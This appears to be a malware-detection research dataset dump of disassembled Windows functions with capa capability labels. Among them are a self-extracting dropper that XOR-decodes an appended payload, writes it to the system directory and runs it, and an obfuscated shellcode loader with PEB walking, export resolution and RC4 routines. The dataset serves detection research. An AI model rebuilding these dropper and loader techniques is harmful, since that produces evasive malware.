joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1017a5d0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.1006f400
push ebx
mov ebx, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov eax, dword [ebx + 4]
mov edi, dword [esp + 0x28]
inc edi
mov eax, dword [eax + 0x64]
test byte [eax + 0x34], 1
je 0x1017a61d
mov ecx, dword [esp + 0x24]
mov edx, dword [esi + 8]
lea eax, [edi + ecx]
cmp eax, edx
jbe 0x1017a60d
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
add dword [esi + 0x14], ecx
sub edx, ecx
add dword [esi + 0x18], ecx
sub dword [esi + 0xc], ecx
mov dword [esi + 8], edx
jmp 0x1017a622
cmp edi, dword [esi + 8]
ja 0x1017a604
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 8]
push ebp
push dword [ebx + 0xb0]
mov al, byte [ecx + eax - 1]
movzx ebp, al
mov byte [esp + 0x30], al
mov dword [esp + 0x24], ebp
call fcn.100b76c0
push eax
call fcn.100b3bf0
add esp, 8
test eax, 0x200000
je 0x1017a668
or eax, 0xffffffff
sub eax, ebp
add dword [esi + 8], eax
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
mov edx, dword [esi + 8]
lea ecx, [edi + ebp]
mov ebx, edx
mov dword [esp + 0x10], edx
sub ebx, ecx
mov eax, edx
xor ebx, ecx
xor eax, ecx
or ebx, eax
mov eax, 0x100
xor ebx, edx
shr ebx, 0x1f
dec ebx
cmp edx, eax
cmovb eax, edx
xor edi, edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1017a6f4
mov eax, dword [esi + 0x14]
mov esi, dword [esp + 0x20]
mov edx, esi
mov ebp, dword [esp + 0x10]
shr edx, 0x1f
dec ebp
mov dword [esp + 0x18], edx
add ebp, eax
nop
mov ecx, esi
lea ebp, [ebp - 1]
sub ecx, edi
mov eax, edi
shr ecx, 0x1f
inc edi
shr eax, 0x1f
xor cl, al
xor al, dl
or cl, al
movzx eax, byte [esp + 0x2c]
xor cl, dl
dec cl
movzx edx, cl
movzx ecx, byte [ebp + 1]
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
mov edx, dword [esp + 0x18]
cmp edi, dword [esp + 0x14]
jb 0x1017a6b0
mov esi, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
not ebx
movzx eax, bl
lea ecx, [eax - 1]
not eax
shr eax, 0x1f
shr ecx, 0x1f
and ecx, eax
lea eax, [ebp + 1]
neg ecx
and eax, ecx
sub edx, eax
mov eax, ecx
pop ebp
pop edi
mov dword [esi + 8], edx
and eax, 1
not ecx
pop esi
or eax, ecx
pop ebx
add esp, 0xc
ret
Function at 0x1017f4f0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x20]
cmp dword [eax], 5
je 0x1017f50b
push eax
push esi
call fcn.1017fb30
add esp, 8
test eax, eax
jle 0x1017f553
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push esi
mov edi, eax
call fcn.100b39a0
add esp, 8
test edi, edi
jg 0x1017f550
push edi
call fcn.100fbbe0
add esp, 4
test eax, eax
je 0x1017f550
push 0xa
push esi
call fcn.100b4100
add esp, 8
mov eax, edi
pop edi
pop esi
ret

Function at 0x406140
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
or ebp, 0xffffffff
jmp 0x406162
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x406169
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x406158
mov eax, 1
add ebx, ebx
jne 0x40617b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x406170
jne 0x40618c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x406170
xor ecx, ecx
sub eax, 3
jb 0x4061a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x406212
mov ebp, eax
add ebx, ebx
jne 0x4061ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4061b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4061dc
inc ecx
add ebx, ebx
jne 0x4061c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4061bd
jne 0x4061d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4061bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4061fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4061ed
jmp 0x40615e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4061fc
add edi, ecx
jmp 0x40615e
pop esi
lea edi, [esi + 0x4000]
mov eax, dword [edi]
or eax, eax
je 0x40625b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x603c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x406219
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6044]
or eax, eax
je 0x406255
mov dword [ebx], eax
add ebx, 4
jmp 0x406236
call dword [esi + 0x6040]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40628c
cmp al, 0xef
ja 0x40627f
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x406261
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x40626e
mov ebp, dword [esi + 0x6048]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4062c0
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x4105e0
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x411288
call fcn.00410c58
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x41251c
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x410408
cmp eax, esi
jne 0x4103fb
xor esi, esi
inc esi
mov edi, esi
jmp 0x41040b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4103df
xor esi, esi
inc esi
cmp dword [0x412520], esi
jne 0x41041d
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x410457
cmp dword [0x412520], ebx
jne 0x410451
mov dword [0x412520], esi
push 0x4011ac
push 0x4011a0
call fcn.0041053c
pop ecx
pop ecx
test eax, eax
je 0x410457
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x41052c
mov dword [0x412074], esi
cmp dword [0x412520], esi
jne 0x41047a
push 0x40119c
push 0x40117c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x412520], 2
test edi, edi
jne 0x410487
xor eax, eax
mov ecx, 0x41251c
xchg dword [ecx], eax
cmp dword [0x41252c], 0
je 0x4104b3
push 0x41252c
call fcn.00410ab0
pop ecx
test eax, eax
je 0x4104b3
push ebx
push 2
push ebx
mov esi, dword [0x41252c]
mov ecx, esi
call dword [0x4131c0]
call esi
push dword [0x412080]
push dword [0x41207c]
push dword [0x412078]
call fcn.0040db8d
add esp, 0xc
mov dword [0x412070], eax
cmp dword [0x412088], 0
jne 0x410511
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x412074], 0
jne 0x410525
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x412070]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call 0x582000
jmp 0x4103c3

Function at 0x410994
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4112c8
call fcn.00410c58
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x4109f4
cmp eax, 0xffffffff
je 0x4109f4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x4109ed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x4109ed
cmp edx, 0x10000000
jae 0x4109ed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x4109ea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x410a60
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x410a9e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x410a96
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x410aa0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x410a86
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401500
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x100
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 5
push 0
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x4030dc
push 0
mov byte [esp + 0x1f], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
add esp, 0x100
ret

Function at 0x4018e0
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x14]
push 0x403158
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401a09
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
lea ebp, [eax - 0x4000]
mov dword [esp + 0x20], eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0
push 0x4000
push esi
mov ebx, eax
call edi
push esi
push 1
push ebp
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x34
lea edx, [esp + 0x14]
push 0x100
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x403150
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40314c
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401a09
mov ecx, dword [esp + 0x10]
xor eax, eax
add ecx, 0xffffc000
test ecx, ecx
jle 0x4019e7
mov dl, byte [eax + ebx]
xor dl, al
mov byte [eax + ebx], dl
inc eax
cmp eax, ecx
jl 0x4019da
push esi
push 1
push ebp
push ebx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
lea edx, [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x405092
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
call fcn.00404b11
test eax, eax
je 0x4050fe
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4050cc
push str.SetProcessDEPPolicy
push eax
call esi
test eax, eax
je 0x4050cc
push 1
call eax
test eax, eax
jne 0x4050fd
push str.ntdll.dll
call edi
test eax, eax
je 0x4050fd
push str.NtSetInformationProcess
push eax
call esi
mov esi, eax
test esi, esi
je 0x4050fd
push 4
lea eax, [ebp - 4]
push eax
push 0x22
mov dword [ebp - 4], 0xd
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop edi
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
call fcn.00404ee4
test al, al
jne 0x405124
xor eax, eax
inc eax
jmp 0x405133
push esi
call fcn.00404b81
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x40584e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a224]
jne 0x405858
repz ret
jmp fcn.00405df1

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x408a51
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x408a60
pop dword [ebp - 0x24]
mov eax, 0xbf2a2140
add eax, 0x41166920
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc48d6c4b
add dword [ebp - 0x34], 0x89c4d900
mov dword [ebp - 0x30], 0x717640b0
sub dword [ebp - 0x30], 0x3f42f46b
mov dword [ebp - 0x2c], 0x4ba5d7f4
sub dword [ebp - 0x2c], 0xff5993c6
mov dword [ebp - 0x28], 0xff002193
sub dword [ebp - 0x28], 0xff002193
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xde1b8c9b
sub dword [ebp - 0x34], 0x69a92345
mov dword [ebp - 0x30], 0xc7364441
add dword [ebp - 0x30], 0x7a361d34
mov dword [ebp - 0x2c], 0xc5dfeb2e
sub dword [ebp - 0x2c], 0x62707ec2
mov dword [ebp - 0x28], 0x8eb6a9e8
sub dword [ebp - 0x28], 0x8eb6a9e8
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1ffa96b1
sub eax, 0x1fb9c665
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36dd3
push 0
call eax
mov ecx, 0x6ec658c2
sub ecx, 0x6ec61b5c
mov ebx, eax
mov esi, 0x238a1750
add esi, 0xdcb798b0
add esi, dword [ebp - 0x24]
mov edx, 0xb3f52a73
sub edx, 0x2bdd3e46
add dword [ebp - 4], 0x7eabbe3
mov edi, dword [esi]
xor dword [ebp - 0x1c], 0xd6a27a96
sub edi, edx
sub dword [ebp - 0x18], 0x7744918a
mov dword [ebx], edi
sub dword [ebp - 4], edi
add ebx, 0xf9644a86
add ebx, 0x69bb57e
add esi, 0xa2ab620b
sub esi, 0xa2ab6207
loop 0x408b7d
add eax, 0xe86b
mov ebx, eax
add eax, 0x92cd7319
sub eax, 0x92cd7314
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x10129542
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x101bc8c8]
add eax, 0xffffef8b
mov dword [0x101bc8c8], eax
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101bc8c8], 0xc05
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x101295c0
mov eax, dword [ebp - 0x18]
add esp, 0x28
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov dword [0x101bc8cc], ecx
mov dword [0x101bc8c8], 0x13bb
mov esi, dword [ebp - 0x10]
cmp word [esi + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], edx
je 0x10129601
jmp 0x10129588
mov eax, dword [ebp - 0x14]
mov ecx, 0x704
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], esi
je 0x10129591
mov eax, 0x2c5
mov ecx, dword [ebp - 0x2c]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ecx
jl 0x101295c0
jmp 0x10129591
xor eax, eax
mov dword [0x101bc8c8], 0xffffff7d
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x18], eax
jne 0x10129588
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffff09e
mov dword [0x101bc8cc], ecx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x18], eax
jne 0x10129588
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 0xffffca45
mov dword [0x101bc8c8], ecx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x18], eax
jne 0x10129588
xor eax, eax
mov dword [0x101bc8cc], 0x16bb
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x18], eax
jne 0x10129588
xor eax, eax
mov dword [0x101bc8c8], 0xbc8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10129588
xor eax, eax
mov dword [0x101bc8cc], 0x1fc3
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10129588
mov eax, 1
mov dword [0x101bc8c8], 0xa8c
mov dword [ebp - 0x18], eax
jmp 0x10129588
Function at 0x101297ee
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101bc8d4], 0
mov byte [0x101bc8d8], 0
mov edi, dword [0x101bc8c8]
add edi, 0xffffe1c8
mov dword [0x101bc8cc], edi
mov dword [0x101bc8d0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1012984f
mov dword [0x101bc8cc], 0x1e06
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101bc8d0]
add eax, 1
mov dword [0x101bc8d0], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1012984f
xor eax, eax
mov dword [0x101bc8c8], 0x2513
mov dword [0x101bc8d0], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101bc8dc], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x101bc8c8], 0x134c
mov edi, dword [0x101bc8d4]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101bc8dc], esi
mov dword [0x101bc8cc], 0x2d7c
mov eax, esi
cdq
idiv ecx
mov dword [0x101bc8d4], edx
mov dword [0x101bc8c8], 0x13ca
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x101bc8d8], cl
mov dword [0x101bc8cc], 0x16e8
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x101bc8d8]
mov esi, dword [0x101bc8d4]
mov byte [ebx + esi], cl
mov esi, dword [0x101bc8c8]
add esi, 0xffffe1ee
mov dword [0x101bc8c8], esi
mov esi, dword [0x101bc8d0]
add esi, 1
mov dword [0x101bc8d0], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1012988e
jmp 0x1012983d
Function at 0x1012995a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [0x101bc8cc], 0x5bf
mov dword [ebp - 0x10], eax
call fcn.1012a8d3
xor ecx, ecx
mov edx, eax
mov dword [0x101bc8cc], 0x178
mov esi, dword [eax + 0x3c]
mov dword [0x101bc8c8], 0xfffff27b
mov dword [0x101bc8cc], 0xffffdbc0
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101bc8c8], 0x1e77
mov ebx, dword [eax + esi + 0x24]
mov dword [0x101bc8cc], 0x1eb4
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x10129abf
jmp 0x10129a0c
mov eax, dword [ebp - 0x2c]
add eax, 1
mov cl, byte [ebp - 0x2d]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x2e]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x34], eax
jne 0x10129a40
jmp 0x10129a6d
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + ecx*4]
mov dword [0x101bc8cc], 0x5bf
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x2d], bh
mov byte [ebp - 0x2e], cl
jne 0x101299e2
mov al, byte [ebp - 0x2e]
test al, 1
jne 0x10129a9c
jmp 0x10129a76
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov edx, dword [ebp - 0x40]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x28], eax
jb 0x10129a1c
jmp 0x10129abf
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x101bc8c8], 0x351
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10129b02
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
mov dword [0x101bc8c8], 0x2596
cmp eax, 0
sete bl
cmp ecx, 0
sete bh
and bh, bl
test bh, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x10129d32
jmp 0x10129c21
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
add eax, 0xffffe946
mov dword [0x101bc8c8], eax
mov dword [ebp - 0x18], ecx
jmp 0x10129d32
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov edx, dword [ebp - 0x20]
mov byte [ebp - 0x21], cl
mov dword [ebp - 0x28], edx
jmp 0x10129c7c
mov eax, dword [ebp - 0x2c]
mov ecx, 0xfffff058
mov edx, dword [ebp - 0x30]
mov si, word [edx + eax*2]
mov di, si
add di, 0xffbf
mov bx, si
add bx, 0x20
cmp di, 0x1a
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x3a], si
mov word [ebp - 0x3c], bx
jb 0x10129bb6
mov ax, word [ebp - 0x3a]
mov word [ebp - 0x3c], ax
mov ax, word [ebp - 0x3c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
sete bh
mov al, bl
xor al, 1
or bh, al
test bh, 1
mov esi, dword [ebp - 0x38]
mov byte [ebp - 0x3d], bl
mov dword [ebp - 0x44], esi
jne 0x10129cf7
jmp 0x10129bfd
mov dword [0x101bc8c8], 0x371
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
jmp 0x10129d32
mov eax, 0xfffff5fd
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov edx, dword [ebp - 0x4c]
cmp ecx, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44], eax
jb 0x10129b7a
jmp 0x10129cf7
mov dword [0x101bc8c8], 0xa22
mov ecx, dword fs:[0x18]
mov eax, 0xf97
mov dword [0x101bc8cc], 0x259c
mov dword [0x101bc8c8], 0xf97
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov ecx, dword [ecx + 0x14]
mov dword [0x101bc8cc], 0xd98
cmp ecx, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x1c], eax
je 0x10129b4a
jmp 0x10129b61
mov eax, dword [ebp - 0x28]
mov ecx, eax
add ecx, 0x24
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x21]
and bh, bl
test bh, 1
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x48], esi
jne 0x10129cad
jmp 0x10129cc4
mov dword [0x101bc8c8], 0x131b
mov eax, dword [ebp - 0x54]
add eax, 0xfffffff8
mov dword [ebp - 0x18], eax
jmp 0x10129d32
mov eax, 0x5bc
xor ecx, ecx
mov edx, dword [ebp - 0x58]
mov si, word [edx]
mov dword [0x101bc8cc], 0x1b37
shr si, 1
movzx edi, si
cmp si, 0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x5c], eax
je 0x10129d09
jmp 0x10129b7a
mov eax, dword [ebp - 0x44]
mov cl, byte [ebp - 0x3d]
test cl, 1
mov dword [ebp - 0x5c], eax
jne 0x10129be8
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
